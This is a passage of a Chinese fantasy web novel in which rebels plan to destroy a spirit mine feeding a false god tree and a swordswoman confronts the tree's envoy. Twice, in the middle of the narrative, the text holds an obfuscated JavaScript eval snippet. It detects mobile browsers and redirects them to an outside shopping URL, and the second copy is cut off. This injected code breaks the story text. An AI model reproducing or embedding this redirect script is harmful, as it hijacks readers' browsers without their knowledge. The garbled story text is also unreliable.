神树降临前的武陵是什么样,已经没有人记得清了。或许只有山脚下几处村落,或许他们中大部分人,一辈子也走不出这座山。 那棵树是什么时候出现的,已经没有人说得明白了。或许是春日,或许在战争前,或许只是平凡不过的某一天。有人发现了它,许下第一个愿望。 武陵城,从此现世。 “祂会向你许诺一切。”刘慈伸手一划,“功成名就,金银财宝,幸福安康,祂给予的,是幸福。” 没有人会拒绝“幸福”二字。 “代价是,成为祂的傀儡,不得自由。” 一旦出现祂眼中的“瑕疵”,这个傀儡就会毫不留情地被流放舍弃。 “不是所有人都相信祂,我的祖先,他们的祖先,选择靠自己的双手挣得未来。” 他们的违逆,触犯了祂的禁忌。 “起先,我们是佃农,是背朝太阳面向黄土,勤勤恳恳一生还倒欠东家的贫民。” “后来,仙人们闯入这里,他们看中了灵矿,与神树达成交易。” 最早是女人和小孩,因为她们能更方便通过矿洞,后来老人也加入其中,榨干他们身上最后的价值。 有人无法接受,跪地哀求神树的垂怜,哭诉祖辈的无知愚昧。于是神树降下奇迹,赐他同等的安乐,以及一条用来抽打昔日亲邻的长鞭。 有人奋起反抗,反抗鞭子,反抗老爷,反抗神使,反抗神树本身。 “我们从未停止过。”刘慈伸出手,那是一个邀请的姿态,“鬼村的仙人,想要回家,而我们,要夺回自己的家。” 玉云英第一个将手放上,正色道:“降妖除魔,护卫苍生,分内之事。” 孟十八沉默片刻,学着玉云英动作将手覆上。 “欢迎加入金狮会。” * 天光熹微,许方沐又一次从噩梦里醒来,索性溜达去河边吹风,却见早有人坐在那里浣衣。 “哟,这不是叶轻舟吗?还会洗衣服,嫁你有福咯。” 叶轻舟头也不回,认真搓去衣服上的脏污,许方沐觉得无趣,坐在边上用石头打水漂,有一搭没一搭地说话。 “我去村口看了,没人。” “ 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一时间只能听到叶轻舟搓衣服的声音。 过了会,许方沐缓过劲,又是一副吊人胃口的语气,“你就不好奇灵矿是什么样的吗?” 确实不好奇,叶轻舟心里回他,要不是他得编个理由出村开地图,他才不会找许方沐要什么地图。 “灵矿上有个组织叫金狮会,里面大多是武陵弃民,帮过我们不少忙,你要是去那里,记得帮我问个好。” “金狮会?那是什么?”叶轻舟脑子里瞬间浮现出水泊梁山一百零八将的画面。 聊到这许方沐浑身有劲,“他们专门和妖树以及武陵人对着干,有一次,他们偷藏了百斤炸药,差点就成功炸毁灵矿,让武陵损失惨重,”他手舞足蹈地比划起来,“要知道那棵树有自愈能力,即使当时我们四位四境修士也没能在祂身上留下不可逆转的伤。但是他们金狮会做到了,狠狠地把祂炸老实了,嘿,那伤口长了三个月才好!” 灵矿受损会影响神树本体?叶轻舟暗中记下,“那后来呢?” “后来,”许方沐脸一垮,“后来他们那边情况更糟,我是出不去鬼村了,没法给那些坏东西一个教训。听其他人说,闹出了不少监工打死人的事,如果不是会因此污染灵石,他们也不会停手的。” 灵石会被污染,这点叶轻舟早就清楚,只是,“按理说,怨气会污染灵石,可是武陵这样折磨他们……” “这我就不清楚了。”许方沐老实道,“我去不了那地方,”他遥遥指了下小径示意,“不过,灵矿毕竟与妖树本体相连,说不定是祂有自净功能。” 叶轻舟收起疑问,将拧干的衣服放回木盆里,起身道:“我今天准备过去,记得把地图给我。” “哎你——”许方沐顺势起身,见叶轻舟的动作差点脚一崴跌坐回去,“你这是在干什么?” 叶轻舟拿出储物袋里的微型烘干机,放大成正常大小,把衣服放进去烘干,理所当然道:“收衣服啊。” “我刚刚就想说了,明明用清洁术就能解决,你为什么要搞这么多流程?” “洗不干净,”叶轻舟耐心解答,宛如一个洗衣机导购员,“清洁术说到底也只是转移术的一种,你怎么不知道上面的脏污会转移到哪呢?既不安全也不干净。” 许方沐张口还想反驳,抬眼一愣,指着叶轻舟身后道:“你快看,那是不是十八娘?” 叶轻舟手上还搭着衣服,回头望去,来者一前一后,前面那位一身黑衣,可不就是孟十八,叶轻舟心头万绪尚未说出口,瞧到后面那位女修,又惊又喜唤道:“师姐!” 玉云英看到叶轻舟同样欢喜,“叶师弟,你平安就好。” 许方沐算了算时辰,难以置信道:“你们速度可真够快的。” “时间不等人,”孟十八淡淡接道:“离大典还剩一天,我们要做的还有很多。” 她的眼神无意间落到叶轻舟手上的衣服,叶轻舟耳尖发烫,慌忙收到身后。 “金狮会需要一个阵法师炸掉灵矿。” “我需要你的帮助,叶轻舟。” 9. 武陵桃源(6) 金狮会的计划简单直白,他们准备炸掉灵矿,毁去神树根源,而后由修者们进入树心,剥离核心,彻底解决问题。 “简直胡闹,”叶轻舟忍不住道,这听上去就像把大象装入冰箱只需要三步走一样荒唐,“他们有多少炸药?” 孟十八示意他稍安勿躁,继续道:“许方沐,你负责组织鬼村其余修士,玉云英,你留在鬼村,伺机而动,叶轻舟,你去灵矿,与金狮会一同行动。” “那你呢?”许方沐懒懒发问,“你要去哪?” 孟十八神色平静,“我回武陵去当祭品,直面神树。” “不可!”叶轻舟与玉云英同时开口反对,玉云英连声道:“你一天之内连遭几场战斗,怎能让你再去冒险?原先留在武陵城内的就是我,也该让我回去。” “再走一次幻境,万一失败怎么办?十八娘,你对我……你的战力是我们不可或缺的一部分。”叶轻舟险些咬到舌头,“你现在需要的是休息。” 孟十八虽然早知会遭到反对,但没想到二人的理由竟然都是关心她,杀手原本要说的话顿在喉咙里,慢慢吐出一句:“我知道,多谢。” “不过,”她话锋一转,“我不准备再走小径。” 许方沐所言不虚,灵矿与鬼村之间的确畅通无阻,而从这两处地方去武陵或树心,则障碍重重有幻境围困。只是有一点,灵矿所产的灵石需要运往武陵城内。 他们回城必然有自己的路。 “你想法挺好,”许方沐毫不客气地泼冷水,“之前有个修者也想到这一点,去灵矿卧底窃取了监工的令牌,结果他再也没有回来。” “不试试怎么知道。”孟十八说出理由,“武陵城内受到神树监视,叶轻舟与玉云英均有所感,”被点名的二人点头,“我第二次前去武陵时,则没有被监视的感觉。”说罢,她看向玉云英,“你与我见面后,有没有感受到变化?” 玉云英思索片刻,摇头道:“没有。只觉得离灵矿越近,祂的注视越微弱。” 叶轻舟问道:“这是为何?还能因人而异?” 孟十八指尖一点灵力,在几人中间的石桌上画了一个圆。 “许方沐认为武陵是一个圆,武陵城位于顶端,水往下流,鬼村与灵矿是最低点。” 许方沐点点头,“对,所以从这去城内,完全是逆流而上。” “我见不然。”孟十八又标出一点,“实际上,武陵城内不许有灵气存在,而灵气最丰盈之地,是灵矿,那么真正的循环顺序是——” 她的手指从灵矿出发,划过神树,指向武陵,又回到灵矿。 “神树灵矿本就一体,你在说什么?”许方沐难以理解地发问。 “若他们并非一体呢?”叶轻舟忽然道,他在脑中迅速调出资料栏。 【沉于旧日之梦·融合之木(分枝)】 融合这两个字足够证明,“嫁接,祂的一部分是桃树,是嫁接上去的。” 孟十八微微点头,“金狮会的刘慈告诉我,那次灵矿爆炸后,树心处的修士向他们传讯,神树内灵力枯竭了片刻,只能靠体内核心支撑。” “祂同意仙盟开采灵矿,是因为祂自己也需要。” 神树的力量来自于内部核心与吸食灵矿的灵力,而后其中一部分用于操控武陵城,构建虚假的世外桃源,武陵城内那些被神树认为有瑕的流放者,会被扔到灵矿,继续为神树奉献。 叶轻舟揉了揉太阳穴,过去学生时代里一篇必背的古文偷偷浮现: “晋太元中,武陵人捕鱼为业……” 武陵,桃花,世外桃源。 “硬生生把田园幻想变成□□啊,”他在脑子里和系统吐槽,“不要仗着这个世界没有《桃花源记》就乱编副本好吗?” 系统依旧装死,没有一点配合的想法。 “十八娘,即使如此,也该我去武陵城,而不是你。”玉云英的话打断了叶轻舟的内心吐槽,青衣修士神色坚定,“这是我身为云霄修士的责任。” 她们都知道,去武陵城的那个人,会成为祭品,会直面神树,直面前人未能击败的神树核心。 “但只有我走完了循环,祂不再对我严加防范,”孟十八的眼睛漆黑而平静,“所以,必须是我。” * 叶轻舟又一次和孟十八并肩而行。 这种感觉很奇妙,明明几天前他们刚从魔界出发,从夜班员工变成出差人士,但此刻却又让他觉得,好似已经许久没有这般同行。 “你有话想说。”孟十八略一偏头,“铃铛之后会还你。” 哎呀,叶轻舟笑道:“放在你那就好,互相联系也方便,”他摸了摸袖口,问出了盘桓在心里许久的疑问:“金狮会如今到底有多少炸药?灵矿爆炸后溢出的灵力怎么处理?之后怎么撤退?” “这是我准备和你单独谈的事情,”孟十八回道:“金狮会有超过百斤炸药,要用到你的传送符。” 叶轻舟不明所以。 “等到他们炸毁部分灵矿后,神树会陷入暂时枯竭的状态,此时祂无法维持武陵城外的结界,你用传送符将相思楼的火药运来,将灵矿全部炸毁。” “这个时间可能会很短,你有把握吗?” “相思楼?”叶轻舟关注点则在前面,还能薅公司羊毛?老板给报销补贴吗? 接收到叶轻舟的眼神,孟十八淡淡道:“楼主不会反对的,你能做到吗?” “当然能!”叶轻舟脱口而出,“好歹也是干了那么多年老员工,东西放哪我能不知道吗?”更何况相思楼那种地方,它也没藏过啊,库房都不带上锁的,里面没有金银财宝,全是杀人利器。就说他们准备拿走的火药,质量小,威力大,还有配套装置吸收溢出灵力,防止周边修士暴走。 “还有一点,灵矿若毁,此事了结后,仙盟必然会来,我们两个是不是要趁早溜走?” 一般来说boss战后往往还有个后日谈,他们就不用参与了。唉,谁还记得他们一开始的任务是找万魂幡碎片呢?叶轻舟想起任务面板上,自从区域任务开启后,主线任务一直显示被禁用状态,无语至极。 “嗯,”孟十八鲜少犹豫,“你那师姐……” 自从武陵城相见后,玉云英从未问过她的真实身份,反倒让孟十八准备的理由没有用武之地,她也不知为何松了口气。 “师姐那里我会去解释,你放心。”叶轻舟拍拍胸膛保证道。 孟十八轻点头,灵矿已经近在眼前。 前来接头的依旧是昨夜的那对小姐弟,姐姐名唤吴夏,弟弟叫做吴冬,正应了二人的生辰。 “等你们好久了,你们吃饭了吗?老大在院子里摆席,现在去还来得及哦!” “这个哥哥就是帮手吗?这是什么?铃铛?” 叶轻舟难得见到小孩,笑眯眯地蹲下身把吴冬抱在怀里,有一句没一句地逗着他玩,孟十八在一旁牵着小女孩的手,四个人走向矿工们居住的地方。 昨夜的小院已经被收拾一新,院子里摆着一张长桌,椅子不够,索性就端碗站着吃饭说话。 见到他们推门入院,刘慈放下手中的杯盏,朗声道:“昨夜事发突然,再给大家介绍一下,这位就是鏖战妖树穿越幻境的十八娘,也是我们这次的主力。” “好!”众人纷纷鼓掌欢迎。 “这位想来就是叶轻舟,十八娘大力举荐,说你阵法一流,还能与妖树对战。” 叶轻舟连忙拱手抱拳连道不敢当,刘慈哈哈大笑,扯出旁边一位扎着粗辫的少女,“小周,你不是手上有书看不懂吗?现在有高人在此,快去问啊。” “慈姐,我还没吃饱呢。”小周嘀咕道,恨不得把自己脸埋进碗里。 “行行行我给你去盛饭,你这孩子怎 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“不是,”叶轻舟扶起她的自信心,“阵法本身无误。你平日里如何修炼?” 小周低头讷讷道:“哪有什么修炼,只是我身体不好,慈姐她们替我担了很多活,所以我才有时间去看这些书……” “以后也来得及,你还年轻呢。”叶轻舟笑道:“你才不过十四五岁,要知道很多修士这时候也才刚刚入门,你已经学会布阵,遥遥领先一大截呢。” “我,我已经十八了,”小周飞快抬头看了一眼叶轻舟的神色,“我的病是娘胎里带来的……” 叶轻舟愣在原地,他见小周身材消瘦,又比旁人矮上几分,以为她是年纪小,可是,他的目光落在对方细如麻杆血管清晰的手腕上,原来是这样,竟然是这样。 “那也还小着呢,其实我已经四十多岁了,”叶轻舟不自觉拔高声音,“没事的,多吃肉就能长回来,二十三窜一窜,你看十八娘不就是与我差不多高。”他笑着比了比,“我看你在这页画了许多圈,是为什么?”话题重新回到阵法上。 宴席将歇,下午上工的已经提前离开,叶轻舟借来文房四宝去屋里给小周解疑答惑,小孩们兴奋了一中午,早就睡得一个个流口水,孟十八与刘慈一手一个拎回屋里,一个关窗,一个盖被。 “你有几分把握?”二人走回院内,刘慈问道。 孟十八冷静道:“回武陵,做祭品,见神树,十成。” “破坏核心把不准,是吧?” 孟十八没掩饰,点了点头,“我只见过一次,不了解。” 刘慈拍了拍她的肩膀,“足够了,对我们来说,足够了。” “你在安慰我?” “是,也不是。”刘慈故意文绉绉说了句,笑道:“我学过一个成语,叫水滴石穿,也知道另一个词,叫以卵击石,自不量力。” 在祂眼里,我们是命若草芥的渣滓,是自不量力的废物,但是我们从未放弃过,“我们学会了使用武器,学会战斗,用柴刀,用斧头,用他们的阵法。” “我们终将砸穿石头,砸穿枷锁,砸碎伪神,即使不是今天,不是明天,即使我无缘得见。”刘慈的眼里有一团火,“我们终将胜利,只要我们永不放弃。” “我知道了。”孟十八认真地回答,那团火同样烧到她心中,“我会竭尽全力。” “哎呀,你这妹妹怎么木头脑袋。”刘慈从怀里抽出一张纸,语气带笑,面色却是严肃,“这就是你要的情报,那些监工换岗的时间地点以及各自的特征性格。” “万事小心,”她声音低了下去,“矿上最近有人失踪。” “活着回来,知道吗?你的同伴在等你。” 孟十八再次握住那双布满老茧,温暖而有力的手,郑重其事道: “我会的。” 10. 武陵桃源(7) 云染霞光,夕阳欲坠,已是傍晚。吴仁德猛一敲钟,喊道:“放饭了,甲组滚出来吃!” 精疲力尽的矿工们零零散散地探出身子,他们先将各自背篓里的灵石放入中间的法器里,宛如米袋的法器随着灵石的倒入发出莹绿的光芒。 这是灵矿的规矩,法器可以称出重量,达到标准为绿色,反之为红色。 “你!干什么吃的!”吴仁德眼尖,瞧见法器的光色变红,立刻提着皮鞭上前,拽着少年的头发大骂道:“想蒙混过关?不许吃饭!滚回去继续挖!” 少年一个踉跄,哀求道:“老爷,我没有……明明是绿色的……” “还敢顶嘴?!”吴仁德勃然大怒,举起鞭子就要往他脸上抽,不料横生外力,竟然生生截住他的动作。 一个样貌陌生的女人掐住他的命脉,冷声道:“住手。” 吴仁德使劲想挣开,脸上横肉都扭成一团,“你又是什么阿猫阿狗,装什么英雄好汉?”他冷哼一声,“再不放开你吴爷爷,我就让他们都没饭吃!” 女人冷冷一用力,“下一次,我会扭断你这只手,扔到里面,这些灵石,就全报废了。” “来人!来——唔”吴仁德想喊救命,没想到他身后的矿工当机立断捂住了他的口鼻,浓烈的粉尘与泥土味熏得他头晕眼花。 “你们先走,这里交给我。”女人自然就是孟十八,她另一只手往下一敲,吴仁德顿时失去意识,咚一声砸在地上。 “十八娘,这些灵石你要不要?”帮忙捂嘴的是老朱,“与其上贡给那些蛀虫,不如给你们。” “交给叶轻舟处理,我先走了。”孟十八轻松扛起吴仁德,大步走向监工的小屋里。 吴仁德醒来时没想明白自己怎么躺在地上,一见到那女人居然就坐在自己的太师椅上,一双眼睛又冷又厉,宛如鹰鹫,忍不住心里一阵哆嗦,脑子想悄无声息地逃出去,双腿已经抖得动弹不得。 “吴仁德,”孟十八冷声道:“你原是此地生人,十年前屈于神树,为其效力,在武陵安家,可对?” 吴仁德心道不妙,果然又是鬼村的疯子来了,面上颤颤巍巍道:“女侠大义,小人、小人确实只是个,小监工,小虾米啊!我什么都不知道!不是,我一定知无不言,言无不尽!” “你今晚轮班替岗,是要回武陵与妻女团聚,是不是。” 吴仁德点头如捣蒜,“对对对,我,我的老婆孩子是无辜的,她们什么都不知道啊!”他眼里挤出几滴眼泪,“灵石我都给您,我都不要了,我再也不敢打他们了,求大侠饶了我!” “我要你带我一同去武陵。” 吴仁德本来将将撑起的身子又扑通一声跪在地上,“大侠明鉴,不是小人不帮忙,而是……而是会出大事的!” 孟十八眼风一扫,“哦?” 吴仁德两股战战,慌忙道:“大侠有所不知,以前有个仙人也想通过此路回到武陵,结果半路上,他……他和那个监工,活生生地消失了啊!”他膝行几步恨不得抱住孟十八大腿哀求:“小人家中尚有妻女需要照顾,求仙人换个要求吧!” 孟十八见他涕泪横飞的模样不像作假,说的话又能与许方沐之前所言对应。伸手用剑鞘隔开二人距离,语带不耐:“把令牌和地图给我,饶你一命。” 她当然知道令牌上亦有神树灵力,监工不得离身,如果吴仁德心有不轨,自然会满口答应。 吴仁德果真换了一张感激涕零的脸,双手托起玉牌,又口述了方向,眯起的眼睛里闪过一丝得意:令牌一旦离身落入他人手中,即刻爆炸,这女的不死也伤,看他怎么一一报复回来! 出乎他意料,女人面色不变,手起剑落,咯嘣一声,他又被丢回无尽的黑暗里。 孟十八从腰间储物袋里拿出一个麻袋,掐诀把吴仁德扔进去。走之前叶轻舟给了她不少法器,没想到真用上了。这样一想,她又拿出铃铛,发出平安信号,没一会,铃铛叮叮回应几声,是叶轻舟的惯例嘱咐,想起对方絮絮叨叨的模样,孟十八面色一松。 沿着吴仁德口述方向,孟十八很快找到那处被刻意掩盖的道路,她把吴仁德拎出来,正脸往结界上一按,顺利进入幽静的山洞。 吴仁德被折腾得再次悠悠转醒,这下真的心生绝望,哀嚎连连,叫天不应,叫地不灵。孟十八手握剑柄,警告道:“老实开路,我可以不杀你。” 养尊处优多年已经肚大身圆的吴仁德哪见过这种架势,矿工们一个个骨瘦如柴,偶有几个健壮的也不敢与他明面翻脸,鬼村那些外地修士满口仁义道德,脑子又不好使,几句话就能被骗得晕头转向。眼下这个黑衣女人,可谓是天降煞星,阎王索命,吴仁德心惊胆战,在前面引路。 “仙人,您去武陵是有什么要事吗?”二人沉默地走过一段路,吴仁德抖着声试探,“要是等会神树发怒……您……” “少废话。”孟十八冷声道:“还想通风报信?” 吴仁德连忙摇头,“哪敢哪敢,只是,小人不明白……”他咽着口水道:“武陵到底哪里不好。” 他少时贫困,母亲病逝,父亲死于矿难,自己饥一顿饱一顿,勉强活着。那样的日子有什么好?吃的是泥沙拌米,喝的是黑黢黢的井水,穿的是百家衣,睡的是老鼠啃过的木板。还有那群可恶的金狮会,自己吃不饱,还想砸碎别人的碗,要大家陪他们一起发疯,凭什么! 他活着不是为了过这样的日子! 他学会下跪,学会讨好监工,学会当一条狗,把辱骂嘲笑拳打脚踢通通当作赏赐咽下,日复一日,慢慢成为老爷们的心腹,成为能得见神使的幸运儿。 神使夸他有灵气,允诺他当众面朝神树发誓,此后终生侍奉神树,就可以让他成为武陵人,满足他的愿望。 他这么多年最熟练的就是磕头下跪。吴仁德没有丝毫犹豫,在众目睽睽之下,三叩九拜,虔诚发誓。 他真的得偿所愿了,他不用再为生计发愁,他吃的是白米饭,喝的酿泉水,穿的是丝绸锦缎,住的是独房小院,他甚至有了妻子,有了孩子,没有人再把他当成狗来使唤,没有人再敢欺辱他。 这样的武陵城有什么不好?这样的神树有什么不值得信仰? 为什么这些人总是不知足,总是想反抗至高无上,至仁至善的神树呢! “……像仙人您这般武艺高强,肯定会成为城主的座上宾,日后前途无量,日后还能嫁一个如意郎君,蜜里调油三年抱俩,何苦陪刘慈那个疯婆子!”吴仁德说话越来越忘乎所以,倒出不少真心话:“她还以为那些人会无条件听她的,哎呀做她的春秋大梦去吧,神树有灵,早就——” “早就什么?”孟十八声音一紧。 “早就把他们——诶呦,仙人救我!”吴仁德二百来斤的身子灵活地滚到孟十八身后,颤抖指着前方:“那些会动的,是什么东西?” 孟十八定睛一看,是神树那些恼人的枝丫在角落里舒展身体,并没有主动攻击的意思,她当即钳住吴仁德,“把你令牌拿在手上,继续往前走,别看。” 在武力胁迫下,吴仁德只能服从,一步一顿地往前挪动。 “继续说,金狮会的人怎么了?”走出这一段后,二人进入比较平坦的区域。 吴仁德拍了拍自己的肚子,“那些人天天闹事,已经被神使记住了,隔三差五就会抓走几个小头头,刘慈孤木难支,长不了的。” “抓走?抓去哪里?” “哎呦这我哪知道,”吴仁德搓着手,有些紧张地看向前面,“我只是一个小……” “小监工。”孟十八接过话,冰冷的剑锋横在他脖子上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169218|196813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还有呢?” “我真的不知道了!救命啊!”吴仁德大叫一声,肥胖的身体猛然一撞,扑向旁边的石壁。 血,溅出一线。 孟十八厉声喝问:“谁?” 石壁上凭空出现出现一扇门,一人缓缓而来,吴仁德连滚带爬跪在对方脚下,急呼道:“神使大人,求您救救我吧!我都被逼的!” 来人通体绿袍,衣边掐着一道金,胸口处斜绣着几朵桃花,眉目温和慈悲,宛如神仙下凡。 “我在此等你许久了。”她声音如清风明月,高洁清冷。 孟十八握剑对峙,冷声道:“是吗?” “既然如此,不如先放他离开,”神使轻声道:“神树慈悲,不愿牵连无辜人。” “无辜者?神树的定义真让我大开眼界。” “客从远方来,本当箪食壶浆,阁下可愿给我一个弥补的机会?” 鸿门宴,孟十八见吴仁德已经消失在视线里,收剑入鞘,“请便。” 神使侧身做了个请的姿势。 石壁两侧开着莹莹发光的花朵,潮湿的水汽里蕴着一股清甜的花香,不同于武陵的暖、鬼村的冷与灵矿的污浊气,这里空气轻盈,自有神清气爽之感。 神使引孟十八来到一间屋内,木桌上的茶盏飘起袅袅轻烟。 “请。” 孟十八扫过室内,心里有了大概:窗外的景色是假的,她现在仍然在地道里,说不定就在神树之内。 “这盏桃花茶乃武陵特产,姑娘不愿品鉴一番吗?” “你们的东西,我不敢喝。” 神使轻笑,“姑娘说笑,来者是客,武陵一向讲究待客之道。” “傀儡幻境,藤蔓吞噬,也是你们的待客之道?” 面对孟十八的指责,神使脸色不变,只是轻轻将话题抛回去,“姑娘见过武陵,也见过灵矿与鬼村,感想如何?” “武陵虚伪,我必破之。” “可众生初见武陵,只觉幸福,为何姑娘不同?”她话里有话,温和如水的眼眸望向孟十八,如母亲注视顽童,带着纵容。 “姑娘心中,亦不知何为‘幸福’。” “难道武陵不好吗?” “没有疾病,没有死亡,没有痛苦,武陵只有无尽的欢声笑语与幸福安康,这不正是凡人所求吗?” “你们没有抹去死亡,你们只是抹除了那些人。”孟十八漆黑的眼里展露出怒意,“你们有一套自己的标准,凡是违反者,皆被流放到矿区,生生世世为奴,这,也是你们口中凡人所求的幸福?” “武陵城那些虚伪的笑容,僵硬的动作,刻板的表演,无不证明一点,”她起身俯视着神使,“你们不懂何为幸福,何为凡人,你们只是把自己的欲望强加于他们身上。” “我非凡人,但我见过真正的人间。”她想起矿区,想起金狮会,想起刘慈,想起欢宴与歌声。 “它,不过是一个不折不扣的,伪神。” 神使听后,依旧是一副慈眉善目,她素手轻抬,为孟十八的茶盏里又添新茶,毫无恼怒之意,反而提起另一件事:“姑娘以及那二位修士,都是为了魔气而来,不是吗?” “姑娘以为,那魔气因何而来?” 孟十八没有心情与她打哑谜,直白道:“你们用人活祭,污染灵矿,自会有魔气。” “灵矿若被污染,仙盟怎会查不出?” “灵石优先供奉神树,你们神使自然会进行排查。” 神使摇头叹道:“姑娘有理有据,可你身为魔修,怎么会不知道一件事。” 孟十八来武陵后第一次被叫破身份,手中剑不自觉出鞘一寸。 “魔气爆发最直接的缘由,是祂感受到同源的存在。” “你以为,祂在等谁呢?” 11. 武陵桃源(8) 叶轻舟拿起笔,摸了摸铃铛,放下符纸,又摸了摸铃铛。 一滴朱砂滴落在符纸上,如血。 他索性停笔,把符纸推到一边,再次调出系统,一遍遍地在这个【当前地图无法查看】的界面里计算着二人的距离。 自孟十八上一次发出平安讯号已经过去一整夜了,他只知道对方成功进入通道,其余的……他按了按自己狂跳的眼皮,离大典时间越来越近,他相信孟十八。 孟十八离开后,金狮会按照原计划,控制住了留守灵矿另外三位监工,并严加看管,其余人则分为几组,一组由刘慈带领搬运已开采的灵石,一组由叶轻舟带领四处布阵埋炸药,一组负责巡逻保卫。鬼村的修士们也被调动起来,由玉云英带领防守在神树前线。 “叶道长?”小周的声音轻轻悄悄的,“您要不要去休息一会?”她手上端着木盘,往前递了递,“您已经忙了一整夜了,要吃些东西吗?” 叶轻舟谢过对方好意,拿起馒头咀嚼起来,可心里实在慌得厉害,味如嚼蜡,食不下咽,转移话题道:“现在进度如何了?” “除了这里,都已经按照您的要求做了,每个地方都留了三个人看守。”小周从袖子里抽出手绘的矿区图,“只有这里,法器会失效,我们布下的法阵也会立刻消失。” 叶轻舟眉头紧蹙,他事先给他们的法器是用来测定灵力程度,会消除反应又吞噬阵法……可不就是他在武陵城外探到的防护阵,阵有阵眼,说不定就在那里。 “我去看看情况,小周,”他拿出一瓶药,“这是给你的,你长时间用灵力对身体有损,此药可以缓解。” “叶道长……” “小叶,”老朱大步走来,“去前厅,老大找你。” “什么事?我还要……” “吴仁德回来了。” 叶轻舟脸色一白,他下意识摸向腰间的铃铛,依旧没有回音。 前厅里,几人把吴仁德押在地上,刘慈坐在主位神色不虞。 见到叶轻舟进来,刘慈点点头,狠声道:“从实招来,你从昨晚到现在都做了什么!” 吴仁德被吓得面泛土色,颤颤巍巍道:“我,我昨天回了趟家,然后,然后就睡觉了,我什么都没有干啊。” “胡说!”老朱将手中锤子往地上一砸,“昨天你欺压二虎,然后被……”刘慈伸手止住他的后半截话,只见吴仁德同样惊讶反问:“不可能啊?我昨天欺负二虎了吗?” 他立刻转头哀求刘慈道:“刘家妹子,我也是看着你长大的,你吴叔之前或许是有那么一点得罪你们,但是我昨天什么也没做啊。” “是吗?”刘慈毫不领情,“你把一双儿女丢下的时候,想没想到过这点情意!” 吴仁德这下更是目瞪口呆,恨不得爬起来自证清白:“什么儿啊女啊,我老婆孩子都在武陵,你胡说什么东西!”他心里着实气恼,今日本不必回来监工,只是神使吩咐不得不从,谁知道被这群刁民为难,还给他胡乱造谣,真是无法忍受,早就该把这群人扔到矿洞里挖一辈子的灵石! 他借着自己体胖,伸手试图去勾自己的令牌,只要这东西一出事…… 啪。 吴仁德的手被钉在原地,叶轻舟脸上寻不得半分平日温和笑意,他几步上前,指间夹着一张符,冷声道:“你若不说实话,我也有办法从你脑子里抓出来。” “只是会有多痛,就由不得你了。” * 碎。 是叶轻舟对吴仁德记忆的第一感受。 如果正常人的记忆是一部连续剧,那么吴仁德的记忆就是拼凑的剪辑大全,看似逻辑自洽,实则漏洞百出。譬如昨日的一切,在他的记忆里只有短短一段:离开灵矿,回到家中,神情恍惚,对妻女的关心不闻不问,一个人独自歇息,只有衣服上打斗翻滚的破损痕迹,和白日里妻子的轻声抱怨能证明他昨夜的归路并非一帆风顺。 再往前看,叶轻舟只觉得浑身发寒,那些温馨的武陵记忆透着一股怪异的感觉,而那些青少年时期在灵矿的回忆,则在被什么一点点吞噬着。 祂在寄生? 叶轻舟不敢再想,连忙从中抽身,掐住仍在昏迷的吴仁德一扭下巴。 脖子上还留着一道未愈合的红线,果然是孟十八留下的剑痕。 “他的记忆被大量篡改,”叶轻舟凝重道,“而且有神树的痕迹。” “原来如此。”刘慈神色晦暗不明,“先把他关起来。” 座下几人领命而去,屋内只剩下刘慈与叶轻舟二人。 “被篡改的记忆,是和灵矿有关的吗?” “是,而且正在被吞噬,”叶轻舟沉声道:“我怀疑他被寄生了。” 他正想说出理由,忽然腰间铃声作响,急促如战音。 * 孟十八的剑斩向神使。 她的剑很快,招招杀气,直取神使性命。 神使依旧在微笑,森绿色的眼眸里流露出长辈对小辈的包容。 她直直握住迎面而来的剑锋,手上流出殷红的血,仿佛在看不懂事的孩童。 “■■” 她在唤什么,孟十八已经听不清了,她死死地盯着对方,盯着那一汪绿色,几乎咬碎银牙。 动不了,完全动不了。 她被更强大的,更飘忽的东西压制了。 那就是神树真正的力量吗?那就是她要斩碎的存在吗? 孟十八感受到前所未有的渴望与兴奋,她的心在狂跳,她的血在沸腾。 “你是特别的。” “你明明该是纯白无瑕的稚子,没有记忆,没有过去。” “祂看见了,看见了你内心的执念,看见了你无法抹去的本质,看见了你混乱又空洞的过去。”神使的声音轻柔,如春风拂面,如杨柳垂岸,她温和又怜悯地注视着孟十八,“你应该明白的,孩子,” “明白祂赐予武陵的,究竟是什么。” 神使展袖一挥,四周化为缥缈云雾,二人置身于武陵城中。 没有熙熙攘攘的人群,没有车水马龙的集市,连天空都被蒙上一层暗色。 “这是曾经的武陵。”神使贴心为她解释,“人界战火总是烧了又烧,付不尽的苛捐杂税,担不完的徭役艰苦,他们难道幸福吗?” 妻子失去丈夫,母亲失去儿子,百姓苦难,只是史书上微不足道的一笔。 “祂,因此来到人间。” 那是从天而降的一截桃枝,在凡间的树木里长大,祂吸食过天地灵气,也咽下过凡人的血泪,祂长出枝丫,长成参天大树,为他们遮云避雨,也为他们提供了一个未来。 失去孩子的母亲哭不出声,求老天开恩,让她的孩子起死回生。 尚且懵懂的孤儿不知缘由,只问为什么爹娘还不来接她回家。 无神可拜的老人双手合十,她的誓愿却无人听见。 孟十八听见了,听见老人喃喃祈求的,分明是要用自己的命去换一家的生机。 祂,也听见了。 祂睁开眼睛,祂伸出枝丫,祂俯视着渺小的众生: “忘却前尘,踏入桃源。” 没有疾病,没有战争,没有灾难,祂创造了一个完美的,居于空中的乐园:这里永远有明媚的阳光,永远欢声笑语,永远幸福美满。 “死去的,终将复活,离开的,终将归来。” 死者睁开眼睛,离者回到故土,家人团聚,朋友重逢,在废墟上开出新生的花。 神使温柔又平和地看向孟十八:“这样的武陵,有什么不好呢?” 她轻轻一挥,她们又回到了当下的武陵,孟十八发现一个摊贩有些眼熟。 “他正是前几日投奔武陵的可怜人。”神使叹息道:“你们胡闹也就罢了,却不知会伤人性命。” 之前金狮会因不满监工惩罚童工,与监工们爆发冲突, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 